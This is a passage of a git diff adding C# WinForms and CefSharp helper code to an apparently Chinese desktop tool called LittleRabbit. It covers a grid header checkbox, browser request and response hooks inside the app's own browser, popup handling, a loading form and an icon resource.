(chCols.Count == 1 && chCols[0].Equals(dcol)) + // e.Row.AcceptChanges(); + //}; + } + + var col = dgv.Columns[columnName]; + col.HeaderText = ""; + col.ReadOnly = false; + if (addHeaderCheckBoxOverride != null) + { + addHeaderCheckBoxOverride(col); + return null; + } + else + { + return col.AddHeaderCheckBox(); + } + } + + public static CheckBox AddHeaderCheckBox(this DataGridViewColumn column, HorizontalAlignment align = HorizontalAlignment.Center, int leftBorderOffset = 0, int rightBorderOffset = 0, Func getValue = null, Action setValue = null, bool isSetCheckedChangedEvent = true, CheckBox checkBox = null, bool isClearHeaderText = false) + { + if (column.DataGridView == null) throw new ArgumentNullException("First you need to add the column to grid."); + + // Creating checkbox without panel + if (checkBox == null) + { + checkBox = new CheckBox(); + checkBox.Name = "chk" + column.Name; + } + checkBox.Size = new Size(15, 15); + checkBox.BackColor = Color.Transparent; + checkBox.Enabled = true; + + // Reset properties + checkBox.Padding = new Padding(0); + checkBox.Margin = new Padding(0); + checkBox.Text = ""; + + if (isClearHeaderText) + column.HeaderText = ""; + + var changedByUser = true; + var dgv = column.DataGridView; + + if (isSetCheckedChangedEvent) + { + checkBox.CheckedChanged += (s, e) => + { + if (changedByUser) + { + try + { + changedByUser = false; + + if (dgv.IsCurrentCellInEditMode && dgv.CurrentCell.OwningColumn.Name.Equals(column.Name)) + dgv.EndEdit(); + + var dgvRows = new List((dgv.SelectedRows.Count < 2 ? (ICollection)dgv.Rows : dgv.SelectedRows).Cast()); + + if (column.IsDataBound) + { + //adding to list because of BindingSource sort by that column + var boundItems = new List(); + var areDataRows = dgvRows.Count < 1 || dgvRows[0].DataBoundItem is DataRowView; + if (areDataRows) + { + foreach (DataGridViewRow row in dgvRows) + boundItems.Add(((DataRowView)row.DataBoundItem).Row); + foreach (DataRow dr in boundItems) + { + var val = dr[column.DataPropertyName]; + if ((val is bool && (bool)val) != checkBox.Checked) + dr[column.DataPropertyName] = checkBox.Checked; + } + } + else + { + foreach (DataGridViewRow row in dgvRows) + boundItems.Add(row.DataBoundItem); + foreach (var item in boundItems) + { + var val = getValue(item); + if (val != checkBox.Checked) + setValue(item, checkBox.Checked); + } + } + } + else + { + foreach (DataGridViewRow dgr in dgvRows) + { + var cell = dgr.Cells[column.Name]; + if ((cell.Value is bool && (bool)cell.Value) != checkBox.Checked) + cell.Value = checkBox.Checked; + } + } + } + finally + { + changedByUser = true; + } + } + }; + } + + // Add checkbox to datagrid cell + dgv.Controls.Add(checkBox); + + Action onColResize = () => + { + var colCheck = dgv.Columns[column.Name]; + if (colCheck == null) return; + int colLeft = (dgv.RowHeadersVisible ? dgv.RowHeadersWidth : 0) - (colCheck.Frozen ? 0 : dgv.HorizontalScrollingOffset); + foreach (DataGridViewColumn col in dgv.Columns) + { + if (col.DisplayIndex >= colCheck.DisplayIndex) break; + if (!col.Visible) continue; + colLeft += col.Width; + } + + var newPoint = new Point(colLeft, dgv.ColumnHeadersHeight / 2 - checkBox.Height / 2); + + if (align == HorizontalAlignment.Left) + newPoint.X += 3; + else if (align == HorizontalAlignment.Center) + newPoint.X += colCheck.Width / 2 - checkBox.Width / 2; + else if (align == HorizontalAlignment.Right) + newPoint.X += colCheck.Width - checkBox.Width - 3; + + var minLeft = colLeft + leftBorderOffset; + var maxLeft = colLeft + colCheck.Width - checkBox.Width + rightBorderOffset; + + if (newPoint.X < minLeft) newPoint.X = minLeft; + if (newPoint.X > maxLeft) newPoint.X = maxLeft; + + checkBox.Location = newPoint; + checkBox.Visible = colCheck.Visible; + }; + dgv.ColumnWidthChanged += (s, e) => onColResize(); + dgv.ColumnHeadersHeightChanged += (s, e) => onColResize(); + dgv.Scroll += (s, e) => onColResize(); + dgv.Resize += (s, e) => onColResize(); + dgv.Sorted += (s, e) => onColResize(); + dgv.RowHeadersWidthChanged += (s, e) => onColResize(); + dgv.ColumnStateChanged += (s, e) => onColResize(); + + Action onDataChanged = (e) => + { + if (!changedByUser) return; + if (e is DataColumnChangeEventArgs) + { + if (!((DataColumnChangeEventArgs)e).Column.ColumnName.Equals(column.Name)) + return; + } + else if (e is ListChangedEventArgs) + { + var prop = ((ListChangedEventArgs)e).PropertyDescriptor; + if (prop != null && !prop.Name.Equals(column.DataPropertyName)) + return; + } + + bool allAreTrue = true; + foreach (DataGridViewRow row in dgv.SelectedRows.Count < 2 ? (ICollection)dgv.Rows : dgv.SelectedRows) + { + var val = row.Cells[column.Name].Value; + if (!(val is bool) || !(bool)val) + { + allAreTrue = false; + break; + } + } + + try + { + changedByUser = false; + var tag = checkBox.Tag; + checkBox.Tag = "AUTO"; + try + { + if (isSetCheckedChangedEvent) + { + checkBox.Checked = allAreTrue; + } + } + finally { checkBox.Tag = tag; } + } + finally + { + changedByUser = true; + } + }; + dgv.CellClick += (s, e) => onDataChanged(e); + dgv.CellContentClick += (s, e) => onDataChanged(e); + dgv.SelectionChanged += (s, e) => onDataChanged(e); + if (dgv.DataSource is BindingSource) + ((BindingSource)dgv.DataSource).ListChanged += (s, e) => onDataChanged(e); + else if (dgv.DataSource is DataSet) + ((DataSet)dgv.DataSource).Tables[dgv.DataMember].ColumnChanged += (s, e) => onDataChanged(e); + else if (dgv.DataSource is DataTable) + ((DataTable)dgv.DataSource).ColumnChanged += (s, e) => onDataChanged(e); + + onColResize(); + + return checkBox; + } + } +} diff --git a/TEMUKJD/Helper/CustomResourceRequestHandlerLocal.cs b/TEMUKJD/Helper/CustomResourceRequestHandlerLocal.cs new file mode 100644 index 0000000..e85964d --- /dev/null +++ b/TEMUKJD/Helper/CustomResourceRequestHandlerLocal.cs @@ -0,0 +1,194 @@ +using CefSharp; +using CefSharp.Handler; +using CefSharp.ResponseFilter; +using CefSharp.WinForms; +using NaiBa.Util; +using NaiBa.Util.Extension; +using NaiBa.Util.Helper; +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Specialized; +using System.IO; +using System.Linq; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading.Tasks; +using System.Web; + +namespace LittleRabbit.Helper +{ + //public event Action ResourceLoadCompleteEvent; // requestUrl, postData, responseData + + public class BaseResourceRequestHandler : ResourceRequestHandler + { + public string UserAgent = string.Empty; + public Func BeforeResourceLoadEvent; // sender, requestUrl, postData, true(表示取消执行) + public Action ResourceLoadCompleteEvent; // sender, requestUrl, postData, responseData + public Action ResourceRedirectEvent; // sender, requestUrl, postData, redirectUrl + public string[] ResourceContentTypeRegister = new string[] { "application/json", "javascript", "application/x-www-form-urlencoded", "text/html", "text/plain" }; + + public string GetCharSet(string charSet) + { + if (string.IsNullOrEmpty(charSet)) + { + charSet = "UTF-8"; + } + return charSet; + } + + public string GetPostData(IRequest request) + { + string postData = string.Empty; + if (request.PostData != null && request.PostData.Elements.Any()) + { + for (int i = 0; i < request.PostData.Elements.Count; i++) + { + try + { + string charset = GetCharSet(request.GetCharSet()); + postData += request.PostData.Elements[i].GetBody(charset); + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + } + } + return postData; + } + } + + public class CustomResourceRequestHandlerLocal : BaseResourceRequestHandler + { + private ConcurrentDictionary responseDict = new ConcurrentDictionary(); + + protected override CefReturnValue OnBeforeResourceLoad(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request, IRequestCallback callback) + { + Uri url; + if (Uri.TryCreate(request.Url, UriKind.Absolute, out url) == false) + { + //If we're unable to parse the Uri then cancel the request + // avoid throwing any exceptions here as we're being called by unmanaged code + return CefReturnValue.Cancel; + } + + if (!string.IsNullOrEmpty(UserAgent)) + { + var headers = request.Headers; + headers["User-Agent"] = UserAgent; + request.Headers = headers; + } + + //NOTE: If you do not wish to implement this method returning false is the default behaviour + // We also suggest you explicitly Dispose of the callback as it wraps an unmanaged resource. + //callback.Dispose(); + //return false; + + //NOTE: When executing the callback in an async fashion need to check to see if it's disposed + if (!callback.IsDisposed) + { + using (callback) + { + if (request.Method == "POST") + { + try + { + string postData = GetPostData(request); + bool? result = BeforeResourceLoadEvent?.Invoke(chromiumWebBrowser, request.Url, postData); + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + } + } + } + return CefReturnValue.Continue; + } + + protected override void OnResourceRedirect(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request, IResponse response, ref string newUrl) + { + try + { + if (ResourceRedirectEvent != null) + { + string postData = GetPostData(request); + ResourceRedirectEvent.Invoke(chromiumWebBrowser, request.Url, postData, newUrl); + } + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + } + + protected override bool OnProtocolExecution(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request) + { + return request.Url.StartsWith("mailto"); + } + + protected override bool OnResourceResponse(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request, IResponse response) + { + //NOTE: You cannot modify the response, only the request + // You can now access the headers + //var headers = response.Headers; + + return false; + } + + protected override IResponseFilter GetResourceResponseFilter(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request, IResponse response) + { + try + { + string contentType = response.Headers["Content-Type"]; + if (string.IsNullOrEmpty(contentType)) + { + return null; + } + + if (ResourceContentTypeRegister.Contains(contentType) || ResourceContentTypeRegister.Where(p => contentType.Contains(p)).Any()) + { + if (ResourceLoadCompleteEvent != null) + { + MemoryStream memoryStream = new MemoryStream(); + responseDict.TryAdd(request.Identifier, memoryStream); + return new StreamResponseFilter(memoryStream); + } + } + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + return null; + } + + protected override void OnResourceLoadComplete(IWebBrowser chromiumWebBrowser, IBrowser browser, IFrame frame, IRequest request, IResponse response, UrlRequestStatus status, long receivedContentLength) + { + try + { + if (responseDict.ContainsKey(request.Identifier)) + { + MemoryStream memoryStream = null; + responseDict.TryRemove(request.Identifier, out memoryStream); + + if (memoryStream != null) + { + byte[] data = memoryStream.ToArray(); + + string charset = GetCharSet(response.Charset); + var responseData = Encoding.GetEncoding(charset).GetString(data); + + string postData = GetPostData(request); + ResourceLoadCompleteEvent.Invoke(chromiumWebBrowser, request.Url, postData, responseData, request); + } + } + } + catch (Exception ex) + { + LogHelper.WriteWithTime(ex); + } + } + } +} diff --git a/TEMUKJD/Helper/LifeSpanHandlerLocal.cs b/TEMUKJD/Helper/LifeSpanHandlerLocal.cs new file mode 100644 index 0000000..8087357 --- /dev/null +++ b/TEMUKJD/Helper/LifeSpanHandlerLocal.cs @@ -0,0 +1,85 @@ +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.LittleRabbitForms.ToolForms; +using NaiBa.CefHelper; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace LittleRabbit.Helper +{ + + public enum PopWindowType + { + NewWindow, + SelfWindow, + NewTitleWindow, + } + public class PopData + { + public string Url { get; set; } + } + public class LifeSpanHandlerLocal : ILifeSpanHandler + { + private PopWindowType popWindowType = PopWindowType.NewWindow; + public event EventHandler OnPop; + public ChromiumWebBrowser parent; + public LifeSpanHandlerLocal() + { + } + + public LifeSpanHandlerLocal(PopWindowType _popWindowType) + { + popWindowType = _popWindowType; + } + + public bool DoClose(IWebBrowser browserControl, IBrowser browser) + { + return false; + } + + public void OnAfterCreated(IWebBrowser chromiumWebBrowser, IBrowser browser) + { + if (!browser.IsDisposed && browser.IsPopup) + { + //GlobalFormConfig.MainFormInstance.InvokeOnUiThreadIfRequired(() => + //{ + // // 修改窗体左上角的图标 + // IntPtr handle = browser.GetHost().GetWindowHandle(); + // PInvokeHelper.SendMessage(handle, 0x80, IntPtr.Zero, NaiBaGlobalConfig.SoftwareConfig.LogoIcon.Handle); + //}); + } + } + + public void OnBeforeClose(IWebBrowser browserControl, IBrowser browser) + { + + } + + public bool OnBeforePopup(IWebBrowser browserControl, IBrowser browser, IFrame frame, string targetUrl, string targetFrameName, WindowOpenDisposition targetDisposition, bool userGesture, IPopupFeatures popupFeatures, IWindowInfo windowInfo, IBrowserSettings browserSettings, ref bool noJavascriptAccess, out IWebBrowser newBrowser) + { + if (popWindowType == PopWindowType.NewWindow) + { + newBrowser = null; + return false; + } + else if (popWindowType == PopWindowType.NewTitleWindow) + { + PopData p = new PopData() { Url = targetUrl }; + if (OnPop != null) + OnPop(this, p); + newBrowser = null; + return true; + } + else + { + // 不打开新的 tab + browser.MainFrame.LoadUrl(targetUrl); + newBrowser = null; + return true; + } + } + } +} diff --git a/TEMUKJD/InitForm.Designer.cs b/TEMUKJD/InitForm.Designer.cs new file mode 100644 index 0000000..f0228cb --- /dev/null +++ b/TEMUKJD/InitForm.Designer.cs @@ -0,0 +1,117 @@ +namespace LittleRabbit +{ + partial class InitForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(InitForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.progressBarX1 = new DevComponents.DotNetBar.Controls.ProgressBarX(); + this.pbShopLoading = new System.Windows.Forms.PictureBox(); + this.label1 = new System.Windows.Forms.Label(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbShopLoading)).BeginInit(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.WhiteSmoke; + this.panel2.Controls.Add(this.progressBarX1); + this.panel2.Controls.Add(this.pbShopLoading); + this.panel2.Controls.Add(this.label1); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(234, 151); + this.panel2.TabIndex = 39; + // + // progressBarX1 + // + this.progressBarX1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.progressBarX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.progressBarX1.Location = new System.Drawing.Point(32, 119); + this.progressBarX1.Name = "progressBarX1"; + this.progressBarX1.Size = new System.Drawing.Size(168, 15); + this.progressBarX1.TabIndex = 38; + this.progressBarX1.TabStop = false; + this.progressBarX1.Text = "progressBarX1"; + // + // pbShopLoading + // + this.pbShopLoading.Anchor = System.Windows.Forms.AnchorStyles.None; + this.pbShopLoading.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(247)))), ((int)(((byte)(247)))), ((int)(((byte)(247))))); + this.pbShopLoading.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch; + this.pbShopLoading.Image = global::LittleRabbit.Properties.Resources.loading_blue; + this.pbShopLoading.Location = new System.Drawing.Point(84, 49); + this.pbShopLoading.Name = "pbShopLoading"; + this.pbShopLoading.Size = new System.Drawing.Size(64, 64); + this.pbShopLoading.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbShopLoading.TabIndex = 37; + this.pbShopLoading.TabStop = false; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("微软雅黑", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label1.Location = new System.Drawing.Point(42, 18); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(150, 21); + this.label1.TabIndex = 0; + this.label1.Text = "初始化中,请稍候..."; + // + // InitForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(236, 185); + this.Controls.Add(this.panel2); + this.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "InitForm"; + this.ShowIcon = false; + this.Text = "软件初始化"; + this.TitleText = "软件初始化"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.InitForm_FormClosed); + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbShopLoading)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.PictureBox pbShopLoading; + private System.Windows.Forms.Label label1; + private DevComponents.DotNetBar.Controls.ProgressBarX progressBarX1; + } +} \ No newline at end of file diff --git a/TEMUKJD/InitForm.cs b/TEMUKJD/InitForm.cs new file mode 100644 index 0000000..e95fb2c --- /dev/null +++ b/TEMUKJD/InitForm.cs @@ -0,0 +1,66 @@ +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Diagnostics; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit +{ + public partial class InitForm : LRBaseForm + { + public InitForm() + { + InitializeComponent(); + + Load += InitForm_Load; + } + + private void InitForm_Load(object sender, EventArgs e) + { + Task.Run(() => + { + while (!Work.Initialization.IsCheckFilesFinish || !Program.IsInit) + { + Thread.Sleep(10); + + Invoke(new Action(() => + { + this.progressBarX1.Value = Work.Initialization.InitPercent; + this.progressBarX1.Maximum = 50; + })); + } + Invoke(new Action(() => + { + try + { + if (!Work.Initialization.IsCheckFilesSuccesss) + { + BaseMsgForm.ShowError("文件初始化失败,请检查是否有程序占用并使用管理员权限运行本程序!"); + Process.GetCurrentProcess().Kill(); + } + + this.Hide(); + new MainForm().ShowDialog(); + } + catch (Exception ex) + { + BaseMsgForm.ShowError(ex.Message); + Process.GetCurrentProcess().Kill(); + } + })); + }); + } + + private void InitForm_FormClosed(object sender, FormClosedEventArgs e) + { + Process.GetCurrentProcess().Kill(); + } + } +} diff --git a/TEMUKJD/InitForm.resx b/TEMUKJD/InitForm.resx new file mode 100644 index 0000000..e330b8a --- /dev/null +++ b/TEMUKJD/InitForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + 